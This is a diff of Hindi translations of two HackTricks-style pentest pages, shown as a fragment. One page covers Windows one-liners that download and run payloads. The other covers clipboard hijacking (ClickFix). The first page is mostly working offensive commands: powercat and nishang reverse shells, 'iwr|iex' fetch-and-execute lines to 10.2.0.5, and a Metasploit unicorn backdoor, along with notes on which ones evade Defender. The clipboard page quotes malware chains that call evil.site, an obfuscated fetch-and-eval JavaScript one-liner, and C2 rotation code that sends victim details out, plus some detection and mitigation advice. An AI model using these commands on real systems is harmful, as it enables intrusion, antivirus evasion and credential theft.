<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
|
||||||
@ -322,32 +342,32 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||||||
</ms:script>
|
</ms:script>
|
||||||
</stylesheet>
|
</stylesheet>
|
||||||
```
|
```
|
||||||
**नहीं पता चला**
|
**डिटेक्ट नहीं हुआ**
|
||||||
|
|
||||||
**आप बहुत आसानी से stager wmic का उपयोग करके Koadic ज़ोंबी डाउनलोड और निष्पादित कर सकते हैं**
|
**आप बहुत आसानी से stager wmic का उपयोग करके एक Koadic zombie download & execute कर सकते हैं**
|
||||||
|
|
||||||
## Msbuild
|
## Msbuild
|
||||||
|
|
||||||
- [यहां से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||||
```
|
```
|
||||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||||
```
|
```
|
||||||
आप इस तकनीक का उपयोग Application Whitelisting और Powershell.exe प्रतिबंधों को बायपास करने के लिए कर सकते हैं। जैसे ही आपको एक PS शेल के साथ संकेत दिया जाएगा।\
|
आप इस तकनीक का उपयोग Application Whitelisting और Powershell.exe restrictions को bypass करने के लिए कर सकते हैं। क्योंकि आपसे PS shell के लिए प्रॉम्प्ट किया जाएगा।
|
||||||
बस इसे डाउनलोड करें और निष्पादित करें: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
बस इसे डाउनलोड करें और चलाएँ: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||||
```
|
```
|
||||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||||
```
|
```
|
||||||
**नहीं पता चला**
|
**पता नहीं चला**
|
||||||
|
|
||||||
## **CSC**
|
## **CSC**
|
||||||
|
|
||||||
शिकार मशीन में C# कोड संकलित करें।
|
victim machine में C# कोड को कंपाइल करें.
|
||||||
```
|
```
|
||||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||||
```
|
```
|
||||||
आप यहाँ से एक बुनियादी C# रिवर्स शेल डाउनलोड कर सकते हैं: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
आप यहाँ से एक बेसिक C# reverse shell डाउनलोड कर सकते हैं: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||||
|
|
||||||
**Not deteted**
|
**डिटेक्ट नहीं हुआ**
|
||||||
|
|
||||||
## **Regasm/Regsvc**
|
## **Regasm/Regsvc**
|
||||||
|
|
||||||
@ -361,11 +381,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\fol
|
|||||||
|
|
||||||
## Odbcconf
|
## Odbcconf
|
||||||
|
|
||||||
- [यहां से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
- [यहाँ से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||||
```bash
|
```bash
|
||||||
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
||||||
```
|
```
|
||||||
**मैंने इसे आजमाया नहीं है**
|
**मैंने इसे आज़माया नहीं है**
|
||||||
|
|
||||||
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
|
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
|
||||||
|
|
||||||
@ -375,29 +395,29 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
|||||||
|
|
||||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||||
|
|
||||||
**Shells** फ़ोल्डर में, कई विभिन्न शेल हैं। Invoke-_PowerShellTcp.ps1_ को डाउनलोड और निष्पादित करने के लिए, स्क्रिप्ट की एक प्रति बनाएं और फ़ाइल के अंत में जोड़ें:
|
In the **Shells** folder, there are a lot of different shells. Invoke-_PowerShellTcp.ps1_ को डाउनलोड और निष्पादित करने के लिए स्क्रिप्ट की एक प्रति बनाएं और उसे फ़ाइल के अंत में जोड़ें:
|
||||||
```
|
```
|
||||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||||
```
|
```
|
||||||
एक वेब सर्वर में स्क्रिप्ट को चालू करें और इसे पीड़ित के अंत पर निष्पादित करें:
|
स्क्रिप्ट को किसी वेब सर्वर पर सर्व करना शुरू करें और इसे लक्षित मशीन पर चलाएँ:
|
||||||
```
|
```
|
||||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||||
```
|
```
|
||||||
Defender इसे दुर्भावनापूर्ण कोड के रूप में पहचानता नहीं है (अभी, 3/04/2019).
|
Defender अभी तक इसे malicious code के रूप में detect नहीं करता (3/04/2019).
|
||||||
|
|
||||||
**TODO: अन्य nishang शेल की जांच करें**
|
**TODO: अन्य nishang shells की जांच करें**
|
||||||
|
|
||||||
### **PS-Powercat**
|
### **PS-Powercat**
|
||||||
|
|
||||||
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
||||||
|
|
||||||
डाउनलोड करें, एक वेब सर्वर शुरू करें, लिस्नर शुरू करें, और इसे पीड़ित के अंत पर निष्पादित करें:
|
डाउनलोड करें, एक web server शुरू करें, listener शुरू करें, और इसे victim की मशीन पर execute करें:
|
||||||
```
|
```
|
||||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||||
```
|
```
|
||||||
Defender इसे दुर्भावनापूर्ण कोड के रूप में पहचानता नहीं है (अभी तक, 3/04/2019)।
|
Defender इसे malicious code के रूप में अभी तक पहचान नहीं करता (3/04/2019).
|
||||||
|
|
||||||
**powercat द्वारा पेश किए गए अन्य विकल्प:**
|
**powercat द्वारा प्रदान किए गए अन्य विकल्प:**
|
||||||
|
|
||||||
Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...
|
Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...
|
||||||
```
|
```
|
||||||
@ -420,35 +440,35 @@ powercat -l -p 443 -i C:\inputfile -rep
|
|||||||
|
|
||||||
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
|
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
|
||||||
|
|
||||||
एक पावरशेल लॉन्चर बनाएं, इसे एक फ़ाइल में सहेजें और डाउनलोड करके इसे निष्पादित करें।
|
एक powershell launcher बनाएं, इसे एक फ़ाइल में सहेजें और डाउनलोड करके निष्पादित करें।
|
||||||
```
|
```
|
||||||
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||||
```
|
```
|
||||||
**खतरनाक कोड के रूप में पहचाना गया**
|
**मैलिशियस कोड के रूप में पाया गया**
|
||||||
|
|
||||||
### MSF-Unicorn
|
### MSF-Unicorn
|
||||||
|
|
||||||
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
|
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
|
||||||
|
|
||||||
यूनिकॉर्न का उपयोग करके मेटास्प्लॉइट बैकडोर का एक पॉवरशेल संस्करण बनाएं
|
unicorn का उपयोग करके metasploit backdoor का powershell संस्करण बनाएं
|
||||||
```
|
```
|
||||||
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||||
```
|
```
|
||||||
msfconsole को बनाए गए संसाधन के साथ शुरू करें:
|
निर्मित resource के साथ msfconsole शुरू करें:
|
||||||
```
|
```
|
||||||
msfconsole -r unicorn.rc
|
msfconsole -r unicorn.rc
|
||||||
```
|
```
|
||||||
एक वेब सर्वर शुरू करें जो _powershell_attack.txt_ फ़ाइल को सर्व करता है और पीड़ित में निष्पादित करें:
|
वेब सर्वर शुरू करें जो _powershell_attack.txt_ फ़ाइल सर्व करे और इसे victim पर निष्पादित करें:
|
||||||
```
|
```
|
||||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||||
```
|
```
|
||||||
**खतरनाक कोड के रूप में पहचाना गया**
|
**मैलिशियस कोड के रूप में पहचाना गया**
|
||||||
|
|
||||||
## अधिक
|
## और
|
||||||
|
|
||||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS कंसोल कुछ आक्रामक PS मॉड्यूल के साथ प्रीलोडेड (साइफर्ड)\
|
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console जिसमें कुछ आक्रामक PS मॉड्यूल पहले से लोड हैं (cyphered)\
|
||||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||||
WinPWN](https://github.com/SecureThisShit/WinPwn) PS कंसोल कुछ आक्रामक PS मॉड्यूल और प्रॉक्सी डिटेक्शन के साथ (IEX)
|
WinPWN](https://github.com/SecureThisShit/WinPwn) PS console जिसमें कुछ आक्रामक PS मॉड्यूल और प्रॉक्सी डिटेक्शन (IEX)
|
||||||
|
|
||||||
## संदर्भ
|
## संदर्भ
|
||||||
|
|
||||||
@ -459,5 +479,6 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS कंसोल कुछ
|
|||||||
- [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
|
- [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
|
||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||||
- [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
- [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||||
|
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -2,13 +2,13 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
> "आप कभी भी कुछ ऐसा न पेस्ट करें जो आपने खुद कॉपी नहीं किया।" – पुरानी लेकिन अभी भी मान्य सलाह
|
> "कभी भी कोई चीज़ पेस्ट न करें जो आपने स्वयं कॉपी नहीं की हो।" – पुरानी पर अब भी प्रासंगिक सलाह
|
||||||
|
|
||||||
## Overview
|
## अवलोकन
|
||||||
|
|
||||||
Clipboard hijacking – जिसे *pastejacking* भी कहा जाता है – इस तथ्य का दुरुपयोग करता है कि उपयोगकर्ता नियमित रूप से कमांड को कॉपी और पेस्ट करते हैं बिना उन्हें जांचे। एक दुर्भावनापूर्ण वेब पृष्ठ (या किसी भी JavaScript-सक्षम संदर्भ जैसे कि एक Electron या Desktop एप्लिकेशन) प्रोग्रामेटिक रूप से हमलावर-नियंत्रित पाठ को सिस्टम क्लिपबोर्ड में डालता है। पीड़ितों को, सामान्यतः सावधानीपूर्वक तैयार किए गए सोशल-इंजीनियरिंग निर्देशों द्वारा, **Win + R** (Run dialog), **Win + X** (Quick Access / PowerShell) दबाने या एक टर्मिनल खोलने और क्लिपबोर्ड सामग्री को *पेस्ट* करने के लिए प्रोत्साहित किया जाता है, जिससे तुरंत मनमाने कमांड निष्पादित होते हैं।
|
Clipboard hijacking – जिसे *pastejacking* भी कहा जाता है – इस तथ्य का दुरुपयोग करता है कि उपयोगकर्ता सामान्यतः commands को बिना जाँच किए copy-and-paste कर लेते हैं। एक दुर्भावनापूर्ण वेब पेज (या कोई भी JavaScript-capable context जैसे Electron या Desktop application) प्रोग्रामेटिक रूप से attacker-controlled text को system clipboard में रख देता है। पीड़ितों को आमतौर पर सावधानीपूर्वक तैयार किए गए social-engineering निर्देशों द्वारा प्रेरित किया जाता है कि वे **Win + R** (Run dialog), **Win + X** (Quick Access / PowerShell) दबाएँ, या एक terminal खोलें और *paste* करके clipboard की सामग्री चिपकाएँ, जिससे तुरंत arbitrary commands निष्पादित हो जाते हैं।
|
||||||
|
|
||||||
क्योंकि **कोई फ़ाइल डाउनलोड नहीं की जाती और कोई अटैचमेंट नहीं खोला जाता**, यह तकनीक अधिकांश ई-मेल और वेब-सामग्री सुरक्षा नियंत्रणों को बायपास करती है जो अटैचमेंट, मैक्रोज़ या सीधे कमांड निष्पादन की निगरानी करती हैं। इसलिए यह हमला फ़िशिंग अभियानों में लोकप्रिय है जो सामान्य मैलवेयर परिवारों जैसे NetSupport RAT, Latrodectus लोडर या Lumma Stealer को वितरित करते हैं।
|
क्योंकि **कोई file डाउनलोड नहीं होता और कोई attachment open नहीं किया जाता**, यह technique उन अधिकांश e-mail और web-content security controls को बायपास कर देती है जो attachments, macros या direct command execution की मॉनिटरिंग करते हैं। इसलिए यह attack phishing campaigns में लोकप्रिय है जो commodity malware परिवारों जैसे NetSupport RAT, Latrodectus loader या Lumma Stealer पहुँचाते हैं।
|
||||||
|
|
||||||
## JavaScript Proof-of-Concept
|
## JavaScript Proof-of-Concept
|
||||||
```html
|
```html
|
||||||
@ -22,17 +22,17 @@ navigator.clipboard.writeText(payload)
|
|||||||
}
|
}
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
पुराने अभियानों ने `document.execCommand('copy')` का उपयोग किया, जबकि नए अभियानों में असिंक्रोनस **Clipboard API** (`navigator.clipboard.writeText`) पर निर्भरता होती है।
|
पुरानी कैंपेन `document.execCommand('copy')` का उपयोग करती थीं, जबकि नए संस्करण असिंक्रोनस **Clipboard API** (`navigator.clipboard.writeText`) पर निर्भर करते हैं।
|
||||||
|
|
||||||
## ClickFix / ClearFake प्रवाह
|
## ClickFix / ClearFake प्रवाह
|
||||||
|
|
||||||
1. उपयोगकर्ता एक टाइपोसक्वाटेड या समझौता किए गए साइट पर जाता है (जैसे `docusign.sa[.]com`)
|
1. उपयोगकर्ता किसी typosquatted या compromised साइट पर जाता है (उदा. `docusign.sa[.]com`)
|
||||||
2. इंजेक्टेड **ClearFake** जावास्क्रिप्ट एक `unsecuredCopyToClipboard()` सहायक को कॉल करता है जो चुपचाप एक Base64-कोडित PowerShell एक-लाइनर को क्लिपबोर्ड में स्टोर करता है।
|
2. इंजेक्ट किया गया **ClearFake** JavaScript `unsecuredCopyToClipboard()` हेल्पर को कॉल करता है जो चुपचाप क्लिपबोर्ड में एक Base64-encoded PowerShell one-liner स्टोर कर देता है।
|
||||||
3. HTML निर्देश पीड़ित को बताते हैं: *“**Win + R** दबाएं, कमांड पेस्ट करें और समस्या को हल करने के लिए Enter दबाएं।”*
|
3. HTML निर्देश पीड़ित को बताते हैं: *“Press **Win + R**, कमांड पेस्ट करें और समस्या को सुलझाने के लिए Enter दबाएँ।”*
|
||||||
4. `powershell.exe` निष्पादित होता है, एक संग्रह डाउनलोड करता है जिसमें एक वैध निष्पादन योग्य और एक दुर्भावनापूर्ण DLL (क्लासिक DLL साइडलोडिंग) शामिल होता है।
|
4. `powershell.exe` चलती है, एक आर्काइव डाउनलोड करती है जिसमें एक legitimate executable और एक malicious DLL होता है (classic DLL sideloading)।
|
||||||
5. लोडर अतिरिक्त चरणों को डिक्रिप्ट करता है, शेलकोड इंजेक्ट करता है और स्थिरता स्थापित करता है (जैसे शेड्यूल किया गया कार्य) – अंततः NetSupport RAT / Latrodectus / Lumma Stealer चलाता है।
|
5. लॉडर अतिरिक्त stages को decrypt करता है, shellcode inject करता है और persistence इंस्टॉल करता है (उदा. scheduled task) – अंततः NetSupport RAT / Latrodectus / Lumma Stealer चलाता है।
|
||||||
|
|
||||||
### उदाहरण NetSupport RAT श्रृंखला
|
### NetSupport RAT श्रृंखला का उदाहरण
|
||||||
```powershell
|
```powershell
|
||||||
powershell -nop -w hidden -enc <Base64>
|
powershell -nop -w hidden -enc <Base64>
|
||||||
# ↓ Decodes to:
|
# ↓ Decodes to:
|
||||||
@ -40,42 +40,77 @@ Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
|
|||||||
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
|
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
|
||||||
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
|
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
|
||||||
```
|
```
|
||||||
* `jp2launcher.exe` (वैध Java WebStart) अपने निर्देशिका में `msvcp140.dll` की खोज करता है।
|
* `jp2launcher.exe` (वैध Java WebStart) अपनी डायरेक्टरी में `msvcp140.dll` की खोज करता है।
|
||||||
* दुर्भावनापूर्ण DLL **GetProcAddress** के साथ APIs को गतिशील रूप से हल करता है, **curl.exe** के माध्यम से दो बाइनरी (`data_3.bin`, `data_4.bin`) डाउनलोड करता है, उन्हें एक रोलिंग XOR कुंजी `"https://google.com/"` का उपयोग करके डिक्रिप्ट करता है, अंतिम शेलकोड को इंजेक्ट करता है और **client32.exe** (NetSupport RAT) को `C:\ProgramData\SecurityCheck_v1\` में अनजिप करता है।
|
* दुष्ट DLL डायनामिक रूप से **GetProcAddress** के साथ APIs को resolve करता है, **curl.exe** के माध्यम से दो binaries (`data_3.bin`, `data_4.bin`) डाउनलोड करता है, उन्हें rolling XOR key `"https://google.com/"` का उपयोग करके decrypt करता है, अंतिम shellcode inject करता है और **client32.exe** (NetSupport RAT) को `C:\ProgramData\SecurityCheck_v1\` में unzip करता है।
|
||||||
|
|
||||||
### Latrodectus Loader
|
### Latrodectus Loader
|
||||||
```
|
```
|
||||||
powershell -nop -enc <Base64> # Cloud Identificator: 2031
|
powershell -nop -enc <Base64> # Cloud Identificator: 2031
|
||||||
```
|
```
|
||||||
1. **curl.exe** के साथ `la.txt` डाउनलोड करता है
|
1. **curl.exe** के साथ `la.txt` डाउनलोड करता है
|
||||||
2. **cscript.exe** के अंदर JScript डाउनलोडर को निष्पादित करता है
|
2. **cscript.exe** के अंदर JScript downloader को निष्पादित करता है
|
||||||
3. एक MSI पेलोड लाता है → एक साइन किए गए एप्लिकेशन के बगल में `libcef.dll` छोड़ता है → DLL साइडलोडिंग → शेलकोड → Latrodectus।
|
3. MSI payload प्राप्त करता है → signed application के पास `libcef.dll` गिराता है → DLL sideloading → shellcode → Latrodectus।
|
||||||
|
|
||||||
### MSHTA के माध्यम से Lumma Stealer
|
### Lumma Stealer MSHTA के माध्यम से
|
||||||
```
|
```
|
||||||
mshta https://iplogger.co/xxxx =+\\xxx
|
mshta https://iplogger.co/xxxx =+\\xxx
|
||||||
```
|
```
|
||||||
The **mshta** कॉल एक छिपा हुआ PowerShell स्क्रिप्ट लॉन्च करता है जो `PartyContinued.exe` को प्राप्त करता है, `Boat.pst` (CAB) को निकालता है, `extrac32` और फ़ाइल संयोजन के माध्यम से `AutoIt3.exe` को पुनर्निर्माण करता है और अंततः एक `.a3x` स्क्रिप्ट चलाता है जो ब्राउज़र क्रेडेंशियल्स को `sumeriavgv.digital` पर एक्सफिल्ट्रेट करता है।
|
The **mshta** कॉल एक छिपा हुआ PowerShell script लॉन्च करती है जो `PartyContinued.exe` को प्राप्त करती है, `Boat.pst` (CAB) को निकालती है, `extrac32` & file concatenation के माध्यम से `AutoIt3.exe` को पुनर्निर्मित करती है और अंत में एक `.a3x` script चलाती है जो ब्राउज़र credentials को `sumeriavgv.digital` पर exfiltrates करती है।
|
||||||
|
|
||||||
## Detection & Hunting
|
## ClickFix: Clipboard → PowerShell → JS eval → Startup LNK with rotating C2 (PureHVNC)
|
||||||
|
|
||||||
ब्लू-टीम क्लिपबोर्ड, प्रक्रिया-निर्माण और रजिस्ट्री टेलीमेट्री को मिलाकर पेस्टजैकिंग दुरुपयोग को पहचान सकती है:
|
कुछ ClickFix campaigns पूरी तरह से file downloads को छोड़ देते हैं और पीड़ितों को निर्देश देते हैं कि वे एक one‑liner पेस्ट करें जो WSH के माध्यम से JavaScript को fetch और execute करता है, इसे persists करता है, और रोज़ाना C2 rotate करता है। देखा गया उदाहरण शृंखला:
|
||||||
|
```powershell
|
||||||
|
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
|
||||||
|
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr
|
||||||
|
```
|
||||||
|
मुख्य विशेषताएँ
|
||||||
|
- Obfuscated URL को runtime पर reverse किया जाता है ताकि साधारण निरीक्षण नाकाम हो सके।
|
||||||
|
- JavaScript अपने आप को Startup LNK (WScript/CScript) के माध्यम से स्थायी करता है, और वर्तमान दिन के अनुसार C2 चुनता है — जिससे तेज domain rotation सक्षम होता है।
|
||||||
|
|
||||||
* Windows Registry: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` **Win + R** कमांड का एक इतिहास रखता है - असामान्य Base64 / ओबफस्केटेड प्रविष्टियों की तलाश करें।
|
C2s को date के अनुसार rotate करने के लिए उपयोग किया गया Minimal JS fragment:
|
||||||
* Security Event ID **4688** (Process Creation) जहां `ParentImage` == `explorer.exe` और `NewProcessName` में { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }।
|
```js
|
||||||
* Event ID **4663** फ़ाइल निर्माण के लिए `%LocalAppData%\Microsoft\Windows\WinX\` या असामान्य 4688 घटना से ठीक पहले अस्थायी फ़ोल्डरों के तहत।
|
function getURL() {
|
||||||
* EDR क्लिपबोर्ड सेंसर (यदि मौजूद हैं) - `Clipboard Write` के तुरंत बाद एक नए PowerShell प्रक्रिया का सहसंबंध करें।
|
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
|
||||||
|
var current_datetime = new Date().getTime();
|
||||||
|
var no_days = getDaysDiff(0, current_datetime);
|
||||||
|
return 'https://'
|
||||||
|
+ getListElement(C2_domain_list, no_days)
|
||||||
|
+ '/Y/?t=' + current_datetime
|
||||||
|
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
अगला चरण आम तौर पर एक लोडर तैनात करता है जो persistence स्थापित करता है और एक RAT (e.g., PureHVNC) को प्राप्त करता है, अक्सर TLS को एक hardcoded प्रमाणपत्र पर पिन करता है और ट्रैफ़िक को chunk करता है।
|
||||||
|
|
||||||
|
Detection ideas specific to this variant
|
||||||
|
- प्रोसेस ट्री: `explorer.exe` → `powershell.exe -c` → `wscript.exe <temp>\a.js` (या `cscript.exe`)।
|
||||||
|
- Startup artifacts: LNK `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup` में जिसमें WScript/CScript को `%TEMP%`/`%APPDATA%` के अंतर्गत एक JS पाथ देता है।
|
||||||
|
- Registry/RunMRU और command‑line telemetry जिनमें `.split('').reverse().join('')` या `eval(a.responseText)` शामिल हों।
|
||||||
|
- बार-बार `powershell -NoProfile -NonInteractive -Command -` का उपयोग बड़े stdin payloads के साथ ताकि लंबी स्क्रिप्ट्स बिना लंबे command lines के फीड हों।
|
||||||
|
- Scheduled Tasks जो बाद में LOLBins जैसे `regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll"` को एक updater‑लुकिंग task/path (उदाहरण के लिए, `\GoogleSystem\GoogleUpdater`) के तहत चलाते हैं।
|
||||||
|
|
||||||
|
Threat hunting
|
||||||
|
- दैनिक-रोटेट होने वाले C2 hostnames और URLs जिनमें `.../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>` पैटर्न हो।
|
||||||
|
- clipboard write इवेंट्स को correlate करें जो Win+R paste के बाद और तत्क्षण `powershell.exe` execution के साथ होते हों।
|
||||||
|
|
||||||
|
|
||||||
|
ब्लू-टीम्स clipboard, process-creation और registry telemetry को मिलाकर pastejacking злоप्रयोग को सटीक रूप से पहचान सकते हैं:
|
||||||
|
|
||||||
|
* Windows Registry: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` Win + R कमांड्स का इतिहास रखता है – असामान्य Base64 / obfuscated एंट्रियों की तलाश करें।
|
||||||
|
* Security Event ID **4688** (Process Creation) जहाँ `ParentImage` == `explorer.exe` और `NewProcessName` उन में से एक हो { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }।
|
||||||
|
* Event ID **4663** उन फाइल क्रिएशंस के लिए जो `%LocalAppData%\Microsoft\Windows\WinX\` या अस्थायी फ़ोल्डरों में suspicious 4688 इवेंट से ठीक पहले होती हैं।
|
||||||
|
* EDR clipboard sensors (यदि मौजूद हों) – `Clipboard Write` को तुरंत नए PowerShell प्रोसेस के साथ correlate करें।
|
||||||
|
|
||||||
## Mitigations
|
## Mitigations
|
||||||
|
|
||||||
1. ब्राउज़र हार्डनिंग - क्लिपबोर्ड लिखने की पहुंच को अक्षम करें (`dom.events.asyncClipboard.clipboardItem` आदि) या उपयोगकर्ता इशारा की आवश्यकता करें।
|
1. Browser hardening – clipboard write-access (`dom.events.asyncClipboard.clipboardItem` आदि) को अक्षम करें या user gesture आवश्यक करें।
|
||||||
2. सुरक्षा जागरूकता - उपयोगकर्ताओं को संवेदनशील कमांड *टाइप* करने या पहले उन्हें टेक्स्ट संपादक में पेस्ट करने के लिए सिखाएं।
|
2. Security awareness – उपयोगकर्ताओं को सिखाएँ कि संवेदनशील कमांड्स को टाइप करें या पहले किसी text editor में पेस्ट करें।
|
||||||
3. PowerShell Constrained Language Mode / Execution Policy + Application Control को मनमाने एक-लाइनर्स को ब्लॉक करने के लिए।
|
3. PowerShell Constrained Language Mode / Execution Policy + Application Control ताकि arbitrary one-liners को ब्लॉक किया जा सके।
|
||||||
4. नेटवर्क नियंत्रण - ज्ञात पेस्टजैकिंग और मैलवेयर C2 डोमेन के लिए आउटबाउंड अनुरोधों को ब्लॉक करें।
|
4. Network controls – जाने-माने pastejacking और malware C2 domains के लिए outbound requests को ब्लॉक करें।
|
||||||
|
|
||||||
## Related Tricks
|
## Related Tricks
|
||||||
|
|
||||||
* **Discord Invite Hijacking** अक्सर एक दुर्भावनापूर्ण सर्वर में उपयोगकर्ताओं को लुभाने के बाद उसी ClickFix दृष्टिकोण का दुरुपयोग करता है:
|
